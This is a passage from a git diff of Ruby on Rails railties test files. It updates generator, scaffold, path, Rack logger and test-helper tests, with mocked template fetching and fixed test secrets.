+ assert_no_match(/\[WARNING\]/, content)
end
def test_mass_nouns_do_not_throw_warnings
content = run_generator ["sheep".freeze]
- assert_no_match(/Plural version of the model detected/, content)
+ assert_no_match(/\[WARNING\]/, content)
end
def test_route_is_removed_on_revoke
diff --git a/railties/test/generators/scaffold_controller_generator_test.rb b/railties/test/generators/scaffold_controller_generator_test.rb
index 57a12d0457..ca972a3bdd 100644
--- a/railties/test/generators/scaffold_controller_generator_test.rb
+++ b/railties/test/generators/scaffold_controller_generator_test.rb
@@ -31,16 +31,15 @@ class ScaffoldControllerGeneratorTest < Rails::Generators::TestCase
assert_instance_method :create, content do |m|
assert_match(/@user = User\.new\(user_params\)/, m)
assert_match(/@user\.save/, m)
- assert_match(/@user\.errors/, m)
end
assert_instance_method :update, content do |m|
- assert_match(/@user\.update_attributes\(user_params\)/, m)
- assert_match(/@user\.errors/, m)
+ assert_match(/@user\.update\(user_params\)/, m)
end
assert_instance_method :destroy, content do |m|
assert_match(/@user\.destroy/, m)
+ assert_match(/User was successfully destroyed/, m)
end
assert_instance_method :set_user, content do |m|
@@ -82,7 +81,6 @@ class ScaffoldControllerGeneratorTest < Rails::Generators::TestCase
def test_helper_are_invoked_with_a_pluralized_name
run_generator
assert_file "app/helpers/users_helper.rb", /module UsersHelper/
- assert_file "test/helpers/users_helper_test.rb", /class UsersHelperTest < ActionView::TestCase/
end
def test_views_are_generated
@@ -94,6 +92,14 @@ class ScaffoldControllerGeneratorTest < Rails::Generators::TestCase
assert_no_file "app/views/layouts/users.html.erb"
end
+ def test_index_page_have_notice
+ run_generator
+
+ %w(index show).each do |view|
+ assert_file "app/views/users/#{view}.html.erb", /notice/
+ end
+ end
+
def test_functional_tests
run_generator ["User", "name:string", "age:integer", "organization:references{polymorphic}"]
@@ -101,7 +107,7 @@ class ScaffoldControllerGeneratorTest < Rails::Generators::TestCase
assert_match(/class UsersControllerTest < ActionController::TestCase/, content)
assert_match(/test "should get index"/, content)
assert_match(/post :create, user: \{ age: @user\.age, name: @user\.name, organization_id: @user\.organization_id, organization_type: @user\.organization_type \}/, content)
- assert_match(/put :update, id: @user, user: \{ age: @user\.age, name: @user\.name, organization_id: @user\.organization_id, organization_type: @user\.organization_type \}/, content)
+ assert_match(/patch :update, id: @user, user: \{ age: @user\.age, name: @user\.name, organization_id: @user\.organization_id, organization_type: @user\.organization_type \}/, content)
end
end
@@ -112,14 +118,13 @@ class ScaffoldControllerGeneratorTest < Rails::Generators::TestCase
assert_match(/class UsersControllerTest < ActionController::TestCase/, content)
assert_match(/test "should get index"/, content)
assert_match(/post :create, user: \{ \}/, content)
- assert_match(/put :update, id: @user, user: \{ \}/, content)
+ assert_match(/patch :update, id: @user, user: \{ \}/, content)
end
end
def test_skip_helper_if_required
run_generator ["User", "name:string", "age:integer", "--no-helper"]
assert_no_file "app/helpers/users_helper.rb"
- assert_no_file "test/helpers/users_helper_test.rb"
end
def test_skip_layout_if_required
@@ -161,10 +166,12 @@ class ScaffoldControllerGeneratorTest < Rails::Generators::TestCase
Unknown::Generators.send :remove_const, :ActiveModel
end
- def test_new_hash_style
- run_generator
- assert_file "app/controllers/users_controller.rb" do |content|
- assert_match(/\{ render action: "new" \}/, content)
+ def test_model_name_option
+ run_generator ["Admin::User", "--model-name=User"]
+ assert_file "app/controllers/admin/users_controller.rb" do |content|
+ assert_instance_method :index, content do |m|
+ assert_match("@users = User.all", m)
+ end
end
end
end
diff --git a/railties/test/generators/scaffold_generator_test.rb b/railties/test/generators/scaffold_generator_test.rb
index de62fdb1ea..637bde2a44 100644
--- a/railties/test/generators/scaffold_generator_test.rb
+++ b/railties/test/generators/scaffold_generator_test.rb
@@ -41,12 +41,10 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase
assert_instance_method :create, content do |m|
assert_match(/@product_line = ProductLine\.new\(product_line_params\)/, m)
assert_match(/@product_line\.save/, m)
- assert_match(/@product_line\.errors/, m)
end
assert_instance_method :update, content do |m|
- assert_match(/@product_line\.update_attributes\(product_line_params\)/, m)
- assert_match(/@product_line\.errors/, m)
+ assert_match(/@product_line\.update\(product_line_params\)/, m)
end
assert_instance_method :destroy, content do |m|
@@ -61,7 +59,7 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase
assert_file "test/controllers/product_lines_controller_test.rb" do |test|
assert_match(/class ProductLinesControllerTest < ActionController::TestCase/, test)
assert_match(/post :create, product_line: \{ product_id: @product_line\.product_id, title: @product_line\.title, user_id: @product_line\.user_id \}/, test)
- assert_match(/put :update, id: @product_line, product_line: \{ product_id: @product_line\.product_id, title: @product_line\.title, user_id: @product_line\.user_id \}/, test)
+ assert_match(/patch :update, id: @product_line, product_line: \{ product_id: @product_line\.product_id, title: @product_line\.title, user_id: @product_line\.user_id \}/, test)
end
# Views
@@ -72,7 +70,6 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase
# Helpers
assert_file "app/helpers/product_lines_helper.rb"
- assert_file "test/helpers/product_lines_helper_test.rb"
# Assets
assert_file "app/assets/stylesheets/scaffold.css"
@@ -87,7 +84,7 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase
assert_match(/class ProductLinesControllerTest < ActionController::TestCase/, content)
assert_match(/test "should get index"/, content)
assert_match(/post :create, product_line: \{ \}/, content)
- assert_match(/put :update, id: @product_line, product_line: \{ \}/, content)
+ assert_match(/patch :update, id: @product_line, product_line: \{ \}/, content)
end
end
@@ -116,7 +113,6 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase
# Helpers
assert_no_file "app/helpers/product_lines_helper.rb"
- assert_no_file "test/helpers/product_lines_helper_test.rb"
# Assets
assert_file "app/assets/stylesheets/scaffold.css", /:visited/
@@ -158,12 +154,10 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase
assert_instance_method :create, content do |m|
assert_match(/@admin_role = Admin::Role\.new\(admin_role_params\)/, m)
assert_match(/@admin_role\.save/, m)
- assert_match(/@admin_role\.errors/, m)
end
assert_instance_method :update, content do |m|
- assert_match(/@admin_role\.update_attributes\(admin_role_params\)/, m)
- assert_match(/@admin_role\.errors/, m)
+ assert_match(/@admin_role\.update\(admin_role_params\)/, m)
end
assert_instance_method :destroy, content do |m|
@@ -186,7 +180,6 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase
# Helpers
assert_file "app/helpers/admin/roles_helper.rb"
- assert_file "test/helpers/admin/roles_helper_test.rb"
# Assets
assert_file "app/assets/stylesheets/scaffold.css", /:visited/
@@ -220,7 +213,6 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase
# Helpers
assert_no_file "app/helpers/admin/roles_helper.rb"
- assert_no_file "test/helpers/admin/roles_helper_test.rb"
# Assets
assert_file "app/assets/stylesheets/scaffold.css"
@@ -243,13 +235,27 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase
assert_file "config/routes.rb", /\.routes\.draw do\s*\|map\|\s*$/
end
- def test_scaffold_generator_no_assets
+ def test_scaffold_generator_no_assets_with_switch_no_assets
run_generator [ "posts", "--no-assets" ]
- assert_file "app/assets/stylesheets/scaffold.css"
+ assert_no_file "app/assets/stylesheets/scaffold.css"
assert_no_file "app/assets/javascripts/posts.js"
assert_no_file "app/assets/stylesheets/posts.css"
end
+ def test_scaffold_generator_no_assets_with_switch_assets_false
+ run_generator [ "posts", "--assets=false" ]
+ assert_no_file "app/assets/stylesheets/scaffold.css"
+ assert_no_file "app/assets/javascripts/posts.js"
+ assert_no_file "app/assets/stylesheets/posts.css"
+ end
+
+ def test_scaffold_generator_no_assets_with_switch_resource_route_false
+ run_generator [ "posts", "--resource-route=false" ]
+ assert_file "config/routes.rb" do |route|
+ assert_no_match(/resources :posts$/, route)
+ end
+ end
+
def test_scaffold_generator_no_stylesheets
run_generator [ "posts", "--no-stylesheets" ]
assert_no_file "app/assets/stylesheets/scaffold.css"
@@ -275,4 +281,69 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase
end
end
end
+
+ def test_scaffold_generator_belongs_to
+ run_generator ["account", "name", "currency:belongs_to"]
+
+ assert_file "app/models/account.rb", /belongs_to :currency/
+
+ assert_migration "db/migrate/create_accounts.rb" do |m|
+ assert_method :change, m do |up|
+ assert_match(/t\.string :name/, up)
+ assert_match(/t\.belongs_to :currency/, up)
+ end
+ end
+
+ assert_file "app/controllers/accounts_controller.rb" do |content|
+ assert_instance_method :account_params, content do |m|
+ assert_match(/permit\(:name, :currency_id\)/, m)
+ end
+ end
+
+ assert_file "app/views/accounts/_form.html.erb" do |content|
+ assert_match(/^\W{4}<%= f\.text_field :name %>/, content)
+ assert_match(/^\W{4}<%= f\.text_field :currency_id %>/, content)
+ end
+ end
+
+ def test_scaffold_generator_password_digest
+ run_generator ["user", "name", "password:digest"]
+
+ assert_file "app/models/user.rb", /has_secure_password/
+
+ assert_migration "db/migrate/create_users.rb" do |m|
+ assert_method :change, m do |up|
+ assert_match(/t\.string :name/, up)
+ assert_match(/t\.string :password_digest/, up)
+ end
+ end
+
+ assert_file "app/controllers/users_controller.rb" do |content|
+ assert_instance_method :user_params, content do |m|
+ assert_match(/permit\(:name, :password, :password_confirmation\)/, m)
+ end
+ end
+
+ assert_file "app/views/users/_form.html.erb" do |content|
+ assert_match(/<%= f\.password_field :password %>/, content)
+ assert_match(/<%= f\.password_field :password_confirmation %>/, content)
+ end
+
+ assert_file "app/views/users/index.html.erb" do |content|
+ assert_no_match(/password/, content)
+ end
+
+ assert_file "app/views/users/show.html.erb" do |content|
+ assert_no_match(/password/, content)
+ end
+
+ assert_file "test/controllers/users_controller_test.rb" do |content|
+ assert_match(/password: 'secret'/, content)
+ assert_match(/password_confirmation: 'secret'/, content)
+ end
+
+ assert_file "test/fixtures/users.yml" do |content|
+ assert_match(/password_digest: <%= BCrypt::Password.create\('secret'\) %>/, content)
+ end
+ end
end
diff --git a/railties/test/generators/shared_generator_tests.rb b/railties/test/generators/shared_generator_tests.rb
index 1e5a4545a1..b998fef42e 100644
--- a/railties/test/generators/shared_generator_tests.rb
+++ b/railties/test/generators/shared_generator_tests.rb
@@ -26,11 +26,17 @@ module SharedGeneratorTests
default_files.each { |path| assert_file path }
end
- def test_generation_runs_bundle_install
- generator([destination_root]).expects(:bundle_command).with('install').once
+ def assert_generates_with_bundler(options = {})
+ generator([destination_root], options)
+ generator.expects(:bundle_command).with('install').once
+ generator.stubs(:bundle_command).with('exec spring binstub --all')
quietly { generator.invoke_all }
end
+ def test_generation_runs_bundle_install
+ assert_generates_with_bundler
+ end
+
def test_plugin_new_generate_pretend
run_generator ["testapp", "--pretend"]
default_files.each{ |path| assert_no_file File.join("testapp",path) }
@@ -46,11 +52,6 @@ module SharedGeneratorTests
assert_no_file "test"
end
- def test_options_before_application_name_raises_an_error
- content = capture(:stderr){ run_generator(["--pretend", destination_root]) }
- assert_match(/Options should be given after the \w+ name. For details run: rails( plugin)? --help\n/, content)
- end
-
def test_name_collision_raises_an_error
reserved_words = %w[application destroy plugin runner test]
reserved_words.each do |reserved|
@@ -68,48 +69,49 @@ module SharedGeneratorTests
def test_shebang_is_added_to_rails_file
run_generator [destination_root, "--ruby", "foo/bar/baz", "--full"]
- assert_file "script/rails", /#!foo\/bar\/baz/
+ assert_file "bin/rails", /#!foo\/bar\/baz/
end
def test_shebang_when_is_the_same_as_default_use_env
run_generator [destination_root, "--ruby", Thor::Util.ruby_command, "--full"]
- assert_file "script/rails", /#!\/usr\/bin\/env/
+ assert_file "bin/rails", /#!\/usr\/bin\/env/
end
def test_template_raises_an_error_with_invalid_path
- content = capture(:stderr){ run_generator([destination_root, "-m", "non/existant/path"]) }
- assert_match(/The template \[.*\] could not be loaded/, content)
- assert_match(/non\/existant\/path/, content)
+ quietly do
+ content = capture(:stderr){ run_generator([destination_root, "-m", "non/existent/path"]) }
+
+ assert_match(/The template \[.*\] could not be loaded/, content)
+ assert_match(/non\/existent\/path/, content)
+ end
end
def test_template_is_executed_when_supplied
- path = "http://gist.github.com/103208.txt"
+ path = "https://gist.github.com/josevalim/103208/raw/"
template = %{ say "It works!" }
template.instance_eval "def read; self; end" # Make the string respond to read
generator([destination_root], template: path).expects(:open).with(path, 'Accept' => 'application/x-thor-template').returns(template)
- assert_match(/It works!/, capture(:stdout) { generator.invoke_all })
+ quietly { assert_match(/It works!/, capture(:stdout) { generator.invoke_all }) }
end
def test_template_is_executed_when_supplied_an_https_path
- path = "https://gist.github.com/103208.txt"
+ path = "https://gist.github.com/josevalim/103208/raw/"
template = %{ say "It works!" }
template.instance_eval "def read; self; end" # Make the string respond to read
generator([destination_root], template: path).expects(:open).with(path, 'Accept' => 'application/x-thor-template').returns(template)
- assert_match(/It works!/, capture(:stdout) { generator.invoke_all })
+ quietly { assert_match(/It works!/, capture(:stdout) { generator.invoke_all }) }
end
def test_dev_option
- generator([destination_root], dev: true).expects(:bundle_command).with('install').once
- quietly { generator.invoke_all }
+ assert_generates_with_bundler dev: true
rails_path = File.expand_path('../../..', Rails.root)
assert_file 'Gemfile', /^gem\s+["']rails["'],\s+path:\s+["']#{Regexp.escape(rails_path)}["']$/
end
def test_edge_option
- generator([destination_root], edge: true).expects(:bundle_command).with('install').once
- quietly { generator.invoke_all }
+ assert_generates_with_bundler edge: true
assert_file 'Gemfile', %r{^gem\s+["']rails["'],\s+github:\s+["']#{Regexp.escape("rails/rails")}["']$}
end
@@ -140,61 +142,3 @@ module SharedGeneratorTests
assert_no_file('app/mailers/.keep')
end
end
-
-module SharedCustomGeneratorTests
- def setup
- Rails.application = TestApp::Application
- super
- Rails::Generators::AppGenerator.instance_variable_set('@desc', nil)
- end
-
- def teardown
- super
- Rails::Generators::AppGenerator.instance_variable_set('@desc', nil)
- Object.class_eval do
- remove_const :AppBuilder if const_defined?(:AppBuilder)
- remove_const :PluginBuilder if const_defined?(:PluginBuilder)
- end
- Rails.application = TestApp::Application.instance
- end
-
- def test_builder_option_with_empty_app_builder
- FileUtils.cd(destination_root)
- run_generator([destination_root, "-b", "#{Rails.root}/lib/#{builders_dir}/empty_builder.rb"])
- default_files.each{ |path| assert_no_file path }
- end
-
- def test_builder_option_with_simple_plugin_builder
- FileUtils.cd(destination_root)
- run_generator([destination_root, "-b", "#{Rails.root}/lib/#{builders_dir}/simple_builder.rb"])
- (default_files - ['.gitignore']).each{ |path| assert_no_file path }
- assert_file ".gitignore", "foobar"
- end
-
- def test_builder_option_with_relative_path
- here = File.expand_path(File.dirname(__FILE__))
- FileUtils.cd(here)
- run_generator([destination_root, "-b", "../fixtures/lib/#{builders_dir}/simple_builder.rb"])
- FileUtils.cd(destination_root)
- (default_files - ['.gitignore']).each{ |path| assert_no_file path }
- assert_file ".gitignore", "foobar"
- end
-
- def test_builder_option_with_tweak_plugin_builder
- FileUtils.cd(destination_root)
- run_generator([destination_root, "-b", "#{Rails.root}/lib/#{builders_dir}/tweak_builder.rb"])
- default_files.each{ |path| assert_file path }
- assert_file ".gitignore", "foobar"
- end
-
- def test_builder_option_with_http
- url = "http://gist.github.com/103208.txt"
- template = "class #{builder_class}; end"
- template.instance_eval "def read; self; end" # Make the string respond to read
-
- generator([destination_root], builder: url).expects(:open).with(url, 'Accept' => 'application/x-thor-template').returns(template)
- quietly { generator.invoke_all }
-
- default_files.each{ |path| assert_no_file(path) }
- end
-end
diff --git a/railties/test/generators/task_generator_test.rb b/railties/test/generators/task_generator_test.rb
index 9399be9510..d5bd44b9db 100644
--- a/railties/test/generators/task_generator_test.rb
+++ b/railties/test/generators/task_generator_test.rb
@@ -7,6 +7,18 @@ class TaskGeneratorTest < Rails::Generators::TestCase
def test_task_is_created
run_generator
- assert_file "lib/tasks/feeds.rake", /namespace :feeds/
+ assert_file "lib/tasks/feeds.rake" do |content|
+ assert_match(/namespace :feeds/, content)
+ assert_match(/task foo:/, content)
+ assert_match(/task bar:/, content)
+ end
+ end
+
+ def test_task_on_revoke
+ task_path = 'lib/tasks/feeds.rake'
+ run_generator
+ assert_file task_path
+ run_generator ['feeds'], behavior: :revoke
+ assert_no_file task_path
end
end
diff --git a/railties/test/generators_test.rb b/railties/test/generators_test.rb
index 9953aa929b..127e059bf1 100644
--- a/railties/test/generators_test.rb
+++ b/railties/test/generators_test.rb
@@ -1,6 +1,7 @@
require 'generators/generators_test_helper'
require 'rails/generators/rails/model/model_generator'
require 'rails/generators/test_unit/model/model_generator'
+require 'mocha/setup' # FIXME: stop using mocha
class GeneratorsTest < Rails::Generators::TestCase
include GeneratorsTestHelper
@@ -15,14 +16,22 @@ class GeneratorsTest < Rails::Generators::TestCase
end
def test_simple_invoke
- assert File.exists?(File.join(@path, 'generators', 'model_generator.rb'))
+ assert File.exist?(File.join(@path, 'generators', 'model_generator.rb'))
TestUnit::Generators::ModelGenerator.expects(:start).with(["Account"], {})
Rails::Generators.invoke("test_unit:model", ["Account"])
end
def test_invoke_when_generator_is_not_found
- output = capture(:stdout){ Rails::Generators.invoke :unknown }
- assert_equal "Could not find generator unknown.\n", output
+ name = :unknown
+ output = capture(:stdout){ Rails::Generators.invoke name }
+ assert_match "Could not find generator '#{name}'", output
+ assert_match "`rails generate --help`", output
+ end
+
+ def test_generator_suggestions
+ name = :migrationz
+ output = capture(:stdout){ Rails::Generators.invoke name }
+ assert_match "Maybe you meant 'migration'", output
end
def test_help_when_a_generator_with_required_arguments_is_invoked_without_arguments
@@ -31,7 +40,7 @@ class GeneratorsTest < Rails::Generators::TestCase
end
def test_should_give_higher_preference_to_rails_generators
- assert File.exists?(File.join(@path, 'generators', 'model_generator.rb'))
+ assert File.exist?(File.join(@path, 'generators', 'model_generator.rb'))
Rails::Generators::ModelGenerator.expects(:start).with(["Account"], {})
warnings = capture(:stderr){ Rails::Generators.invoke :model, ["Account"] }
assert warnings.empty?
@@ -106,7 +115,7 @@ class GeneratorsTest < Rails::Generators::TestCase
def test_rails_generators_help_does_not_include_app_nor_plugin_new
output = capture(:stdout){ Rails::Generators.help }
assert_no_match(/app/, output)
- assert_no_match(/plugin_new/, output)
+ assert_no_match(/[^:]plugin/, output)
end
def test_rails_generators_with_others_information
@@ -143,6 +152,8 @@ class GeneratorsTest < Rails::Generators::TestCase
klass = Rails::Generators.find_by_namespace(:plugin, :remarkable)
assert klass
assert_equal "test_unit:plugin", klass.namespace
+ ensure
+ Rails::Generators.fallbacks.delete(:remarkable)
end
def test_fallbacks_for_generators_on_find_by_namespace_with_context
@@ -150,21 +161,29 @@ class GeneratorsTest < Rails::Generators::TestCase
klass = Rails::Generators.find_by_namespace(:remarkable, :rails, :plugin)
assert klass
assert_equal "test_unit:plugin", klass.namespace
+ ensure
+ Rails::Generators.fallbacks.delete(:remarkable)
end
def test_fallbacks_for_generators_on_invoke
Rails::Generators.fallbacks[:shoulda] = :test_unit
TestUnit::Generators::ModelGenerator.expects(:start).with(["Account"], {})
Rails::Generators.invoke "shoulda:model", ["Account"]
+ ensure
+ Rails::Generators.fallbacks.delete(:shoulda)
end
def test_nested_fallbacks_for_generators
+ Rails::Generators.fallbacks[:shoulda] = :test_unit
Rails::Generators.fallbacks[:super_shoulda] = :shoulda
TestUnit::Generators::ModelGenerator.expects(:start).with(["Account"], {})
Rails::Generators.invoke "super_shoulda:model", ["Account"]
+ ensure
+ Rails::Generators.fallbacks.delete(:shoulda)
+ Rails::Generators.fallbacks.delete(:super_shoulda)
end
- def test_developer_options_are_overwriten_by_user_options
+ def test_developer_options_are_overwritten_by_user_options
Rails::Generators.options[:with_options] = { generate: false }
self.class.class_eval(<<-end_eval, __FILE__, __LINE__ + 1)
diff --git a/railties/test/initializable_test.rb b/railties/test/initializable_test.rb
index 16e259be5d..ed9573453b 100644
--- a/railties/test/initializable_test.rb
+++ b/railties/test/initializable_test.rb
@@ -20,14 +20,6 @@ module InitializableTests
end
end
- module Word
- include Rails::Initializable
-
- initializer :word do
- $word = "bird"
- end
- end
-
class Parent
include Rails::Initializable
@@ -235,4 +227,4 @@ module InitializableTests
assert_equal [1, 2, 3, 4], $arr
end
end
-end \ No newline at end of file
+end
diff --git a/railties/test/isolation/abstract_unit.rb b/railties/test/isolation/abstract_unit.rb
index 0cb65f8e0d..9ad0ec0d34 100644
--- a/railties/test/isolation/abstract_unit.rb
+++ b/railties/test/isolation/abstract_unit.rb
@@ -9,7 +9,8 @@
require 'fileutils'
require 'bundler/setup' unless defined?(Bundler)
-require 'minitest/autorun'
+require 'active_support'
+require 'active_support/testing/autorun'
require 'active_support/test_case'
RAILS_FRAMEWORK_ROOT = File.expand_path("#{File.dirname(__FILE__)}/../../..")
@@ -93,7 +94,8 @@ module TestHelpers
# Build an application by invoking the generator and going through the whole stack.
def build_app(options = {})
@prev_rails_env = ENV['RAILS_ENV']
- ENV['RAILS_ENV'] = 'development'
+ ENV['RAILS_ENV'] = "development"
+ ENV['SECRET_KEY_BASE'] ||= SecureRandom.hex(16)
FileUtils.rm_rf(app_path)
FileUtils.cp_r(app_template_path, app_path)
@@ -117,12 +119,31 @@ module TestHelpers
end
end
+ File.open("#{app_path}/config/database.yml", "w") do |f|
+ f.puts <<-YAML
+ default: &default
+ adapter: sqlite3
+ pool: 5
+ timeout: 5000
+ development:
+ <<: *default
+ database: db/development.sqlite3
+ test:
+ <<: *default
+ database: db/test.sqlite3
+ production:
+ <<: *default
+ database: db/production.sqlite3
+ YAML
+ end
+
add_to_config <<-RUBY
config.eager_load = false
- config.secret_key_base = "3b7cd727ee24e8444053437c36cc66c4"
config.session_store :cookie_store, key: "_myapp_session"
config.active_support.deprecation = :log
+ config.active_support.test_order = :random
config.action_controller.allow_forgery_protection = false
+ config.log_level = :info
RUBY
end
@@ -135,12 +156,15 @@ module TestHelpers
def make_basic_app
require "rails"
require "action_controller/railtie"
+ require "action_view/railtie"
app = Class.new(Rails::Application)
app.config.eager_load = false
- app.config.secret_key_base = "3b7cd727ee24e8444053437c36cc66c4"
+ app.secrets.secret_key_base = "3b7cd727ee24e8444053437c36cc66c4"
app.config.session_store :cookie_store, key: "_myapp_session"
app.config.active_support.deprecation = :log
+ app.config.active_support.test_order = :random
+ app.config.log_level = :info
yield app if block_given?
app.initialize!
@@ -163,7 +187,7 @@ module TestHelpers
RUBY
app_file 'config/routes.rb', <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
get ':controller(/:action)'
end
RUBY
@@ -206,7 +230,16 @@ module TestHelpers
def script(script)
Dir.chdir(app_path) do
- `#{Gem.ruby} #{app_path}/script/rails #{script}`
+ `#{Gem.ruby} #{app_path}/bin/rails #{script}`
+ end
+ end
+
+ def add_to_top_of_config(str)
+ environment = File.read("#{app_path}/config/application.rb")
+ if environment =~ /(Rails::Application\s*)/
+ File.open("#{app_path}/config/application.rb", 'w') do |f|
+ f.puts $` + $1 + "\n#{str}\n" + $'
+ end
end
end
@@ -242,6 +275,12 @@ module TestHelpers
end
end
+ def gsub_app_file(path, regexp, *args, &block)
+ path = "#{app_path}/#{path}"
+ content = File.read(path).gsub(regexp, *args, &block)
+ File.open(path, 'wb') { |f| f.write(content) }
+ end
+
def remove_file(path)
FileUtils.rm_rf "#{app_path}/#{path}"
end
@@ -251,8 +290,12 @@ module TestHelpers
end
def use_frameworks(arr)
- to_remove = [:actionmailer,
- :activerecord] - arr
+ to_remove = [:actionmailer, :activerecord] - arr
+
+ if to_remove.include?(:activerecord)
+ remove_from_config 'config.active_record.*'
+ end
+
$:.reject! {|path| path =~ %r'/(#{to_remove.join('|')})/' }
end
@@ -266,6 +309,35 @@ class ActiveSupport::TestCase
include TestHelpers::Paths
include TestHelpers::Rack
include TestHelpers::Generation
+
+ self.test_order = :sorted
+
+ private
+
+ def capture(stream)
+ stream = stream.to_s
+ captured_stream = Tempfile.new(stream)
+ stream_io = eval("$#{stream}")
+ origin_stream = stream_io.dup
+ stream_io.reopen(captured_stream)
+
+ yield
+
+ stream_io.rewind
+ return captured_stream.read
+ ensure
+ captured_stream.close
+ captured_stream.unlink
+ stream_io.reopen(origin_stream)
+ end
+
+ def quietly
+ silence_stream(STDOUT) do
+ silence_stream(STDERR) do
+ yield
+ end
+ end
+ end
end
# Create a scope and build a fixture rails app
@@ -279,7 +351,7 @@ Module.new do
environment = File.expand_path('../../../../load_paths', __FILE__)
require_environment = "-r #{environment}"
- `#{Gem.ruby} #{require_environment} #{RAILS_FRAMEWORK_ROOT}/railties/bin/rails new #{app_template_path} --skip-gemfile`
+ `#{Gem.ruby} #{require_environment} #{RAILS_FRAMEWORK_ROOT}/railties/bin/rails new #{app_template_path} --skip-gemfile --no-rc`
File.open("#{app_template_path}/config/boot.rb", 'w') do |f|
f.puts "require '#{environment}'"
f.puts "require 'rails/all'"
diff --git a/railties/test/path_generation_test.rb b/railties/test/path_generation_test.rb
new file mode 100644
index 0000000000..13bf29d3c3
--- /dev/null
+++ b/railties/test/path_generation_test.rb
@@ -0,0 +1,88 @@
+# encoding: utf-8
+require 'abstract_unit'
+require 'active_support/core_ext/object/with_options'
+require 'active_support/core_ext/object/json'
+require 'rails'
+require 'rails/application'
+
+ROUTING = ActionDispatch::Routing
+
+class PathGenerationTest < ActiveSupport::TestCase
+ attr_reader :app
+
+ class TestSet < ROUTING::RouteSet
+ def initialize(block)
+ @block = block
+ super()
+ end
+
+ class Dispatcher < ROUTING::RouteSet::Dispatcher
+ def initialize(defaults, set, block)
+ super(defaults)
+ @block = block
+ @set = set
+ end
+
+ def controller_reference(controller_param)
+ block = @block
+ set = @set
+ Class.new(ActionController::Base) {
+ include set.url_helpers
+ define_method(:process) { |name| block.call(self) }
+ def to_a; [200, {}, []]; end
+ }
+ end
+ end
+
+ def dispatcher defaults
+ TestSet::Dispatcher.new defaults, self, @block
+ end
+ end
+
+ def send_request(uri_or_host, method, path, script_name = nil)
+ host = uri_or_host.host unless path
+ path ||= uri_or_host.path
+
+ params = {'PATH_INFO' => path,
+ 'REQUEST_METHOD' => method,
+ 'HTTP_HOST' => host }
+
+ params['SCRIPT_NAME'] = script_name if script_name
+
+ status, headers, body = app.call(params)
+ new_body = []
+ body.each { |part| new_body << part }
+ body.close if body.respond_to? :close
+ [status, headers, new_body]
+ end
+
+ def test_original_script_name
+ original_logger = Rails.logger
+ Rails.logger = Logger.new nil
+
+ app = Class.new(Rails::Application) {
+ attr_accessor :controller
+ def initialize
+ super
+ app = self
+ @routes = TestSet.new ->(c) { app.controller = c }
+ secrets.secret_key_base = "foo"
+ secrets.secret_token = "foo"
+ end
+ def app; routes; end
+ }
+
+ @app = app
+ app.routes.draw { resource :blogs }
+
+ url = URI("http://example.org/blogs")
+
+ send_request(url, 'GET', nil, '/FOO')
+ assert_equal '/FOO/blogs', app.instance.controller.blogs_path
+
+ send_request(url, 'GET', nil)
+ assert_equal '/blogs', app.instance.controller.blogs_path
+ ensure
+ Rails.logger = original_logger
+ end
+end
diff --git a/railties/test/paths_test.rb b/railties/test/paths_test.rb
index 12f18b9dbf..1aeb9ec339 100644
--- a/railties/test/paths_test.rb
+++ b/railties/test/paths_test.rb
@@ -1,9 +1,10 @@
require 'abstract_unit'
require 'rails/paths'
+require 'mocha/setup' # FIXME: stop using mocha
class PathsTest < ActiveSupport::TestCase
def setup
- File.stubs(:exists?).returns(true)
+ File.stubs(:exist?).returns(true)
@root = Rails::Paths::Root.new("/foo/bar")
end
@@ -180,7 +181,7 @@ class PathsTest < ActiveSupport::TestCase
assert_equal 1, @root.eager_load.select {|p| p == @root["app"].expanded.first }.size
end
- test "paths added to a eager_load path should be added to the eager_load collection" do
+ test "paths added to an eager_load path should be added to the eager_load collection" do
@root["app"] = "/app"
@root["app"].eager_load!
@root["app"] << "/app2"
diff --git a/railties/test/rack_logger_test.rb b/railties/test/rack_logger_test.rb
new file mode 100644
index 0000000000..fcc79b57fb
--- /dev/null
+++ b/railties/test/rack_logger_test.rb
@@ -0,0 +1,75 @@
+require 'abstract_unit'
+require 'active_support/testing/autorun'
+require 'active_support/test_case'
+require 'rails/rack/logger'
+require 'logger'
+
+module Rails
+ module Rack
+ class LoggerTest < ActiveSupport::TestCase
+ class TestLogger < Rails::Rack::Logger
+ NULL = ::Logger.new File::NULL
+
+ attr_reader :logger
+
+ def initialize(logger = NULL, taggers = nil, &block)
+ super(->(_) { block.call; [200, {}, []] }, taggers)
+ @logger = logger
+ end
+
+ def development?; false; end
+ end
+
+ class Subscriber < Struct.new(:starts, :finishes)
+ def initialize(starts = [], finishes = [])
+ super
+ end
+
+ def start(name, id, payload)
+ starts << [name, id, payload]
+ end
+
+ def finish(name, id, payload)
+ finishes << [name, id, payload]
+ end
+ end
+
+ attr_reader :subscriber, :notifier
+
+ def setup
+ @subscriber = Subscriber.new
+ @notifier = ActiveSupport::Notifications.notifier
+ @subscription = notifier.subscribe 'request.action_dispatch', subscriber
+ end
+
+ def teardown
+ notifier.unsubscribe @subscription
+ end
+
+ def test_notification
+ logger = TestLogger.new { }
+
+ assert_difference('subscriber.starts.length') do
+ assert_difference('subscriber.finishes.length') do
+ logger.call('REQUEST_METHOD' => 'GET').last.close
+ end
+ end
+ end
+
+ def test_notification_on_raise
+ logger = TestLogger.new do
+ # using an exception class that is not a StandardError subclass on purpose
+ raise NotImplementedError
+ end
+
+ assert_difference('subscriber.starts.length') do
+ assert_difference('subscriber.finishes.length') do
+ assert_raises(NotImplementedError) do
+ logger.call 'REQUEST_METHOD' => 'GET'
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/railties/test/rails_info_controller_test.rb b/railties/test/rails_info_controller_test.rb
index 08fcddd4bf..d336a2e6c0 100644
--- a/railties/test/rails_info_controller_test.rb
+++ b/railties/test/rails_info_controller_test.rb
@@ -14,26 +14,26 @@ class InfoControllerTest < ActionController::TestCase
get '/rails/info/properties' => "rails/info#properties"
get '/rails/info/routes' => "rails/info#routes"
end
